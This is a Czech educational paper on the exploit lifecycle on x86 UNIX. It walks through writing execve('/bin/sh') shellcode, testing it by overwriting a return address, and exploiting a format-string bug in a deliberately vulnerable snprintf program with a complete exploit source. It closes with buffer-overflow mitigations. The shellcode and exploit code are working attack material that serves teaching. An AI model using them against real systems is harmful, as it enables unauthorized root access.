Tento dokument se týká zivotního cyklu exploitu a snazím se v nem objasnit pohled na bezpecnost na úrovni mezi jádrem nebo knihovnami a aplikací. Aby povídání nemuselo být pouze obecné a mohlo jít více do hloubky, vybral jsem si trídu operacních systému UNIX a binární formát ELF a pokusím se na nem predvést praktickou ukázku zde diskutovaného.
Chci vyuzít moznost vyjádrit svuj názor a strukturou dokumentu chci poukázat na to, ze preferuji praktický výklad pred teoretickým výctem. Nekteré principy proto jsou vysvetleny az poté, co jsou pouzity, v kontrastu se zpusobem, na jaký jsme zvyklý ze skol, kde výuka pro presnost zachází prílis do teorie na úkor souvisu s praxí.
K tomu, aby útocník kompromitoval systém, castokrát uzije získání vyssích práv, nez mu puvodne nálezí. Dá se to napríklad vyuzitím chyby v SUID programech.
Kazdý program má moznost mít nastavený SUID-bit, príklad pouzití je program passwd, který vlastní root a má nastavený suid-bit:
$ ls -l /usr/bin/passwd
-rwsr-xr-x 1 root root 26616 May 18 2005 /usr/bin/passwd
$
To mu umozní zapisovat do souboru, jako jsou /etc/passwd a /etc/shadow. Útocník se snazí vyuzijíce chyby v programu podstrcit príkazy, které mu umozní získat rootovské práva.
Zpusoby podstrcení jsou vzdy necím omezené a omezují príkazy, které bude mozné spustit. Proto je jednodussí spustit shell a mít dále volné ruce. Takový kód, který spustí shell, se nazývá shellkód. Tomu, jakým zpusobem vkládat shellkód, se budeme venovat pozdeji, nyní si rekneme, jak takový shellkód vytvorit.
Budeme napodobovat cinnost následujícího programu:
#include <stdio.h>
#include <unistd.h>
int main()
{
char * prog[] = { "/bin/sh", NULL };
execve( prog[ 0], prog, NULL);
_exit( 0);
}
gcc -o execveshell execveshell.c -O2 -g -static
gdb execveshell
disassemble main
-O2 je optimalizace druhého stupne, -g znamená vlození ladících instrukcí a -static je static.
(gdb) disassemble main
Dump of assembler samp for function main:
0x08048220 <main+0>: push %ebp
0x08048221 <main+1>: xor %eax,%eax
0x08048223 <main+3>: mov %esp,%ebp
0x08048225 <main+5>: sub $0x18,%esp
0x08048228 <main+8>: and $0xfffffff0,%esp
0x0804822b <main+11>: mov %eax,0x8(%esp)
0x0804822f <main+15>: lea 0xfffffff8(%ebp),%eax
0x08048232 <main+18>: movl $0x8095e88,0xfffffff8(%ebp)
0x08048239 <main+25>: movl $0x0,0xfffffffc(%ebp)
0x08048240 <main+32>: mov %eax,0x4(%esp)
0x08048244 <main+36>: movl $0x8095e88,(%esp)
0x0804824b <main+43>: call 0x804df10 <execve>
0x08048250 <main+48>: movl $0x0,(%esp)
0x08048257 <main+55>: call 0x804defc <_exit>
End of assembler dump.
(gdb)
Na rádku 36 se pouzije adresa retezce "/bin/sh", jak muzeme overít:
(gdb) printf "%s\n", 0x8095e88
/bin/sh
man execve
start:
jmp finta
shellkod:
popl %esi
.
.
.
finta:
call shellkod
"/bin/sh"
popl %esi
movl %esi, 0x8(%esi)
movl 0x0, 0xc(%esi)
movb 0x0, 0x7(%esi)
xor %eax, %eax
movl %eax, 0xc(%esi)
movb %al, 0x7(%esi)
vi /usr/include/asm/unistd.h
...tam jsou císla systémových volání; vidím, ze exit má císlo 1 a execve 11.
//shellkod1.c
//
int main() {
__asm__ __volatile__(" ; \
jmp finta ; \
shellkod: ; \
popl %esi ; \
movl %esi, 0x8(%esi) ; \
xorl %eax, %eax /* vyrob nulu */ ; \
movl %eax, 0xc(%esi) ; \
movb %al, 0x7(%esi) ; \
movb $0xb, %al /* execve, nikoliv knihovni fce */ ; \
movl %esi, %ebx /* 1. parametr execve */ ; \
leal 0x8(%esi), %ecx /* 2. parametr execve */ ; \
int $0x80 /* volej execve */ ; \
xorl %ebx, %ebx /* navratova hodnota exitu */ ; \
xorl %eax, %eax ; \
inc %eax /* 1 = _exit */ ; \
int $0x80 /* volej exit */ ; \
finta: call shellkod ; \
.string \"/bin/sh\" ; \
");
}
$ gcc -o shellkod1 shellkod1.c
$ ./shellkod1
Segmentation fault
Ne, a to protoze má zamítnutý prístup do pameti. Nás kód se snazí modifikovat sám sebe, ale nachází se v oblasti pameti, kde zápis není povolen, jak je videt z tabulky mapování do pameti:
$ readelf -l ./shellkod1
Elf file type is EXEC (Executable file)
Entry point 0x8048290
There are 7 program headers, starting at offset 52
Program Headers:
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
PHDR 0x000034 0x08048034 0x08048034 0x000e0 0x000e0 R E 0x4
INTERP 0x000114 0x08048114 0x08048114 0x00013 0x00013 R 0x1
[Requesting program interpreter: /lib/ld-linux.so.2]
LOAD 0x000000 0x08048000 0x08048000 0x004b4 0x004b4 R E 0x1000
LOAD 0x0004b4 0x080494b4 0x080494b4 0x00100 0x00104 RW 0x1000
DYNAMIC 0x0004c4 0x080494c4 0x080494c4 0x000c8 0x000c8 RW 0x4
NOTE 0x000128 0x08048128 0x08048128 0x00020 0x00020 R 0x4
STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x4
Section to Segment mapping:
Segment Sections...
00
01 .interp
02 .interp .note.ABI-tag .hash .dynsym .dynstr .gnu.version
.gnu.version_r .rel.dyn .rel.plt .init .plt .text .fini .rodata
03 .data .eh_frame .dynamic .ctors .dtors .jcr .got .bss
04 .dynamic
05 .note.ABI-tag
06
Proto presuneme kód z cásti .text do .data. Segmenty sice muzou mít príznak spustitelnosti, stránky vsak ne - tedy na x86 tento príznak nic neznamená. V sekci .data se nám nebude kompilovat - zkompilujeme si jej sami a prelozenou podobu opíseme do retezce.
$ objdump -d ./shellkod1
...
...
...
08048354 <main>:
8048354: 55 push %ebp
8048355: 89 e5 mov %esp,%ebp
8048357: 83 ec 08 sub $0x8,%esp
804835a: 83 e4 f0 and $0xfffffff0,%esp
804835d: b8 00 00 00 00 mov $0x0,%eax
8048362: 29 c4 sub %eax,%esp
8048364: eb 1c jmp 8048382 <finta>
08048366 <shellkod>:
8048366: 5e pop %esi
8048367: 89 76 08 mov %esi,0x8(%esi)
804836a: 31 c0 xor %eax,%eax
804836c: 89 46 0c mov %eax,0xc(%esi)
804836f: 88 46 07 mov %al,0x7(%esi)
8048372: b0 0b mov $0xb,%al
8048374: 89 f3 mov %esi,%ebx
8048376: 8d 4e 08 lea 0x8(%esi),%ecx
8048379: cd 80 int $0x80
804837b: 31 db xor %ebx,%ebx
804837d: 31 c0 xor %eax,%eax
804837f: 40 inc %eax
8048380: cd 80 int $0x80
08048382 <finta>:
8048382: e8 df ff ff ff call 8048366 <shellkod>
8048387: 2f das
8048388: 62 69 6e bound %ebp,0x6e(%ecx)
804838b: 2f das
804838c: 73 68 jae 80483f6 <__libc_csu_init+0x56>
804838e: 00 c9 add %cl,%cl
8048390: c3 ret
8048391: 90 nop
...
...
Opíseme hexa podobu, bude nám stacit od instrukce jmp <finta>. Za instrukcí call <shellkod> nejsou instrukce, ale retezec "/bin/sh".
Výsledný shellkód tedy bude retezec
\xeb\x1c\x5e\x89\x76\x08\x31\xc0\x89\x46\x0c\x88\x46
\x07\xb0\x0b\x89\xf3\x8d\x4e\x08\xcd\x80\x31\xdb\x31
\xc0\x40\xcd\x80\xe8\xdf\xff\xff\xff/bin/sh
Overíme, ze nám shellkód funguje, metodou prepsání návratové adresy z funkce main().
#include <stdio.h>
char shellkod[] =
"\xeb\x1c\x5e\x89\x76\x08\x31\xc0\x89\x46\x0c\x88\x46\x07\xb0\x0b\x89\xf3"
"\x8d\x4e\x08\xcd\x80\x31\xdb\x31\xc0\x40\xcd\x80\xe8\xdf\xff\xff\xff/bin/sh";
int main() {
int *ret;
*( ( int *) & ret + 2) = (int) shellkod;
return 0;
}
$ gcc -o fungujeshellkod fungujeshellkod.c
$ echo $$
3269
$ ./fungujeshellkod
$ echo $$
3947
$ exit
$ echo $$
3269
....tedy vskutku funguje.
Jak se shellkód spustil: Prí volání funkce (v nasem prípade main()) se vytvorí lokální rámec a na zásobník se ulozí adresa predeslého rámce, adresa, kde program pokracuje z návratu funkce a lokální promenné. Tedy adresa lokální promenné ret je o 2B pod návratovou adresou, kterou hledáme a kam stací vlozit ukazatel na shellkód retezec [1].
Pro snazsí pochopení je mozné si udelat predstavu o strukture pameti:
| argumenty, environment |
| zásobník (smerem dolu) . . . . . . halda (nahoru) |
| bss |
| data |
| kód |
call,
adresa se potom nachází kousek nad vrcholem zásobníku.
...
movw %fs, %ax
incb %al
cmpb $1, %al
jz linux
bsd:
...
...
linux:
...
...
0x90 0x90 0xeb 0x30
Videli jsme, jak se vyvárejí a jak fungují shellkódy. V dalsí cásti bych se rád podíval na to, jak je muze útocník vyuzít k získání kontroly nad systémem. Opet zacnu praktickou ukázkou a az pozdeji se pokusím o taxonomii.
Zpusob, který se uzívá asi nejcasteji, je vyuzití chyby pretecení mimo meze pole (buffer overflow). Bylo uz o nem napsáno hodne. Jako metodu do detailní ukázky jsem radejivybral vyuzití chyby formátovacího retezce, protoze jde jeste dál a je novejsí - byla objevena pozdeji a svého casu zvírila zájem okolí.
Formátovací retezce pouzívá napr. printf:
%s, %d - ctou retezec, císlo
%n - zapisuje # doposud vypsaných znaku
int a=123;
char buffer[ 4];
snprintf( buffer, 4, "%.5d", a);
printf( "%.5d\n", a);
printf( "%s\n", buffer);
pokud u funkce snprintf pouziju %n, vypíse se 5
#include <stdio.h>
int main() {
int a=123, b;
char buffer[ 4];
snprintf( buffer, 4, "%.5d%n", a, &b);
printf( "co ukládám: %.5d\n", a);
printf( "do bufferu se ulozilo: %s\n", buffer);
printf( "kolik si sprintf myslí, ze jiz vypsal (%%n): %d\n", b);
}
$ ./snprintf
00123
001
$
muzu vastne do cítace fce printf() (do %n) zapsat libovolnou hodnotu.
Chyba se nachází v tomto programu:
//2snprintf.c
#include <stdio.h>
int main( int argc, char **argv) {
char buffer[ 256];
snprintf( buffer, sizeof( buffer), argv[ 1]);
printf( "%s\n", buffer);
return 0;
}
$ gcc -o 2snprintf 2snprintf.c
Ted zjistím, na kolikátém jakoby-argumentu funkce printf se nachází pametové místo pro buffer.
$ ./2snprintf 'abcd%1$x'
abcd1
$ ./2snprintf 'abcd%2$x'
abcd64636261
$ ./2snprintf 'abcd%3$x'
abcd0
$ ./2snprintf 'abcd%4$x'
abcd1
$ ./2snprintf 'abcd%5$x'
abcdbffff8c4
Tady se ulozilo abcd do buffer, a za ním %2$x, coz byl druhý argument v printf (kde ale druhý uz nebyl, tedy sahal nekam do pameti, konkrétne adresa druhého argumentu bylo práve hledané místo buffer.
$ objdump -R 2snprintf
2snprintf: file format elf32-i386
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
0804962c R_386_GLOB_DAT __gmon_start__
08049620 R_386_JUMP_SLOT __libc_start_main
08049624 R_386_JUMP_SLOT printf
08049628 R_386_JUMP_SLOT snprintf
Adresu funkce printf vlozíme do retezce takto:
$ printf '\x24\x96\x04\x08'
$$
$ ./2snprintf `printf '\x24\x96\x04\x08'`
$
$
No... nic nevidíme, ale, vzdyt jsou to neviditelné znaky...
Dále potrebujeme zjistit adresu, kde se bude nacházet shellkód. Tu vypoctu pomocí vzorce 0xbffffffa - strlen( shellkód) - strlen( "./2snprintf") = 3221225466 - 45 - 11 = 3221225410 = 0xbfffffc2. Adresa 0xbffffffa je totiz adresa, kde zacíná zásobník, a platí pro kazdý proces. Zmensím ji o 4 kvuli adrese, kterou vkladám do formátovacího retezce - zabírá práve 4B.
$ ./2snprintf '\x24\x96\x04\x08%.3221225406x%2$n'
Segmentation fault
Program se snazí alokovat pamet o velikosti asi 3GB.
Nejdrív to mensí (0xbfff) - cítac se jen zvysuje. Rozdíl je 0x3fc5.
První císlo se musí zmensit o 8B (dve adresy).
0xffc2 = 65474
Naflákáme to za sebe:
\x24\x96\x04\x08\x26\x96\x04\x08%.49143x%3hn%.16323x%2$hn
Hotový exploit:
#include <stdio.h>
#include <string.h>
#include <unistd.h>
char shellkod[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
int main() {
char pole[ 128];
char *argv[ 3] = { "./2snprintf", pole, NULL };
char *env[ 2] = { shellkod, NULL };
int adresa = 0xbffffffa - strlen( shellkod) - strlen( "./2snprintf");
//int adresa = 0xbfffffc2;
printf( "Shellkod: %x\n", adresa);
strcpy( pole, "\x24\x96\x04\x08\x26\x96\x04\x08%.49143x%3$hn%.16323x%2$hn");
execve( argv[ 0], argv, env);
//return 0;
}
Jak to jde?
$ gcc -o exploit exploit.c
$ echo $$
3269
$ ./exploit
Shellkod: bfffffc2
$ echo $$
5587
$ exit
$ echo $$
3269
Tento zpusob byl objeven kolem roku 1999, první publikovaný exploit byl zrejme na wuftpd (a byl to tzv. remote root, tedy umoznoval získat rootovská práva zvenku) [4].
Docela jednoduché pomocí statické detekce - stací najít v zdrojovém souboru, kde jsou funkce, které vyuzívají formátovací retezce a zkontrolovat, je-li formátovací retezec "jistý".
V jazyku C je pole realizováno jako ukazatel a dalsí polozky jako posunutí vzhledem k tomuto ukazateli. Kdyz je posunutí vetsí, nez velikost alokované pameti, dochází k zápisu mimo meze pole. Vyskytuje se budto v chybne napsaném programu (viz chyba+1 dále), nebo pri kopírování vetsího mnozství dat (od uzivatele), nez je alokovaného prostoru pro cílové pole.
Útocník muze chybu v takto napsaném programu vyuzít následujícími zpusoby:
V tomto príkladu je spatná podmínka v cyklu.
int hotovost=10000;
int pole[ 10];
for ( int i=0; i <= 10; ++i)
pole[ i] = 0;
Cyklus zapisuje o jednu polozku víc, nez má, a zapisuje do pameti, která uz patrí promenné hotovost.
Kazdé data, které pocházejí z vnejsku, je nutné omezit pri kopírování do pameti. Príklad je pouzití strncpy místo nezbecného strcpy.
Jednou z mozností je pouzít automatickou kontrolu proti pretecení jiz na úrovni jazyka, treba i volba vhodného jazyka muze být na míste.
Existují gcc patche pro kontrolu, jestli se nezmenil zásobník po návratu z funkce.
Lze centralizovat zpracování dat do správne napsaných knihoven, které budou obsahovat potrebné kontroly.
Nekteré OS dnes obsahují moznost zabránit spustení dat na zásobníku.
Sledování paketu ze síte umozní odhalit nekteré útoky zvenku pomocí hledání signatur.
Tento zpusob byl poprvé objeven v roce 1988 [6]. Vyuzíval jej taky známy Morrisuv internetový cerv
(exploitoval démona fingerd).
Zminovaný text Smashing The Stack For Fun And Profit[1] opisuje jeden zpusob pretecení dost podrobne.
V tomto textu jsem pokryl pouze úzkou cást tematu bezpecnosti systému. Snazil jsem se vrhnout svetlo na principy nízkoúrovnového programování útoku. Jsem rád, ze jsem mohl tento dokument psát a tím si i rozsírit svuj obzor.
Ackoli nekteré pristupy, jako pretecení pole, jsou jiz dlouho známé, na druhou stranu priklad formátovacích retezcu nám ukazuje, ze bezpecnost je oblast, která se vyvíjí a je mozné, ze v budoucnu budou objeveny nové zpusoby. Uvidíme, ze ve svete, ve kterém se pohybujeme, jsou veci, o kterých nevíme. Tesím se na to.